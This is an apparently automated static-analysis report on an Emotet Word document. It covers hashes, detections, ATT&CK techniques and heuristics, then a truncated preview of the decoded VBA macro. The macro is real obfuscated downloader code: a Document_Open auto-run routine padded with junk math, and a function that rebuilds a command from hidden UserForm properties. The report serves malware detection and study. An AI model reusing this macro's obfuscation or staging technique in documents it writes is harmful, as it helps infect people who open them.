Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 58e36afd30bc2dd7…

MALICIOUS

Office (OLE)

197.8 KB Created: 2019-12-18 09:56:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 14dd63a36c2c0c005fa2e56a9d0644dd SHA-1: ff2c5085fc6ccfa914e1d8d7eb963c2615cae6b8 SHA-256: 58e36afd30bc2dd7475ff0887aed156e145f8a88d49e34e00af732cdf8153175
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for Emotet. Heuristics indicate a hidden UserForm is used as a command stager, suggesting it's designed to download and execute a secondary payload. ClamAV detection confirms the Emotet family and downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7464291-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7464291-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10687 bytes
SHA-256: 4601893e6e8a820cb8f58f9f8e203c2bdfa442eb4d8d8015359fb0a473af67fe
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Yawhyqzkpr"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Urwdatalesy, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Select Case Indahpwr
         Case Wazzowebwz
   Kkqqrbwgmbr = Sin(Dgdrjluzi)
   Txwalsaxdvdsk = CStr(Uuowujbslpbkn)
   Nbbtwufv = 324
   Btulzoszlrzk = Sin(Oseklkimkzh)
   Rvdoztdtpgg = CStr(Ikbwedpn)
   Pvkklojv = 567
   Xbeicarivylyy = Sin(Xlnveldm)
   Tpiseglcndh = CStr(Uelhsgsrwain)
   Azmtpnuilipqs = 5645
End Select
For Lgurrtrselfy = Ozfbkldakrtzm To Rbosvlto
      While Cigiikoykw <> Oioskvdyrh
         Njqgamuliph = Scgebbwvgngdd * Atn(Lyuvkrvythxyb) * (Zamvstwt + Bugwkdxlw)
      Wend
Next
   Select Case Bmuerlim
         Case Nsmjooecln
   Pxnqysefwajf = Sin(Gabqgepawykh)
   Bhfzmgxwqbmqh = CStr(Mjgdtieaugl)
   Bpgruedovks = 324
   Jjaepwjkkodee = Sin(Gksbbivbvvwdd)
   Znevyuzqrpv = CStr(Acnpnfilrrx)
   Hfittfjtpqz = 567
   Dgublgdebsig = Sin(Tfhvhfknuhxwp)
   Lmngvcbqqgqlj = CStr(Amehqohusd)
   Mndpqihqgua = 5645
End Select
For Roqpquahhgkri = Drvcnmodnq To Cpgfmkly
      While Ecihiegsxhd <> Ozygjdldzp
         Rbbyhxhjnnttf = Xusszdcrgn * Atn(Vomfmrjq) * (Uqkwpzbge + Tnjgwrupk)
      Wend
Next
   Select Case Etublhozpil
         Case Ackizvgy
   Ouuniwutbytp = Sin(Praxorhdfts)
   Rhcwrqafgr = CStr(Cvokpglzu)
   Vijwlkobv = 324
   Cmybcycjiz = Sin(Mwttpmgcrxz)
   Iupurpyzssc = CStr(Enwlliorwar)
   Operfmrotdmpq = 567
   Rtdqicitfg = Sin(Tvmuxdsaiua)
   Uzljkvuyfac = CStr(Ixgwzltw)
   Hjolxjzwtpbn = 5645
End Select
For Jvlrsnvjxxuvu = Putwhdzvjxofd To Zvujmeabd
      While Ymrrbonadviqv <> Zbudhszqxz
         Arpspmkfne = Ascglrezpcey * Atn(Cezwtsad) * (Ocsekowuiy + Psegvbvxnqk)
      Wend
Next
Dximwvhfjrbe
End Sub

Attribute VB_Name = "Dsncauqo"
Attribute VB_Base = "0{1B0B6CC2-8098-490A-9B4F-493863E97EAE}{4707F63C-022C-4F70-A3CB-BDF0B2D8AA0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xvcradjnifpb"
Function Jwqcmzlkvm()
   Select Case Fblpyswqjxmhf
         Case Htuwgekqb
   Dtwduyucrbk = Sin(Gxamhzlwmby)
   Wzsvlkpjo = CStr(Gcondvewudqi)
   Icnsqsxhmbujw = 324
   Jhruggelytrwb = Sin(Frpxcibrx)
   Yqmstyoxlwznw = CStr(Qpyyvwgh)
   Uznriptj = 567
   Oygzthepi = Sin(Sgyrlsyp)
   Irozzbfdgfem = CStr(Sjyfnsrzoab)
   Zwxutkqfhra = 5645
End Select
For Ymbayfxiz = Tbgajcoxgnfg To Kbsklrymhu
      While Nbvvfatdbrdpv <> Dmtsfspn
         Ynlvgumvm = Blhenfjsxc * Atn(Ovzobzeyn) * (Hmiiuxrujpq + Lnrmfvgc)
      Wend
Next
Hgxjqndjtodcc = Yawhyqzkpr.Urwdatalesy
   Select Case Rvdctltuqlb
         Case Illbmsxljt
   Vzkzxueoofs = Sin(Mmogvhowrsys)
   Jveibeoymjvs = CStr(Qycsygafjeomj)
   Glghcusk = 324
   Igoaflcqrgt = Sin(Ujsemztpu)
   Gxolocynecqa = CStr(Etlvsljqf)
   Kqfldbnjtuhwr = 567
   Hfleejgyifi = Sin(Llpscmem)
   Aacqslxx = CStr(Dddebhpdrxfv)
   Xieotexbpc = 5645
End Select
For Csnnlina = Hlrvxavuxe To Tkgidpvbnaty
      While Qdmxigloatwyh <> Ufgjkzdgc
         Eyvgstpakriaw = Ejnlehyus * Atn(Ouxmxjrjcn) * (Bdihmpmfjwev + Qaqfdckfeucx)
      Wend
Next
Fxkmvaokgetd = Hgxjqndjtodcc + Dsncauqo.Pcxficdafxv + Dsncauqo.Zapwmbwj + Dsncauqo.Nbkxiaaqsmx
   Select Case Mvotmjfk
         Case Fcyerzqzxv
   Ebvgahrtuf = Sin(Vyqwwypmgj)
   Hzaoglog = CStr(Qnxgixtk)
   Knititcy = 324
   Fumsyahcmj = Sin(Euhdzqprtw)
   Turhfnjpzuu = CStr(Fihqqxfj)
   Nmftmjprja = 567
   Djzwzzamjalcu = Sin(Bcypeuldv)
   Wgkclvcfexqt = CStr(Jmznadzea)
   Lktesgewfdt = 5645
End Select
For Opzodkkiz = Imquwtsgwnzl To Mrmxscqk
      While Ldlbqdglaywgq <> Llngtpeqnqsxl
         Eyurjtiqq = Okkegbcxh * Atn(Eyjhnykx) * (Estylyagduxn + Tgikrvoz)
      Wend
Next
Igeewuglwd = Fxkmvaokgetd
... (truncated)

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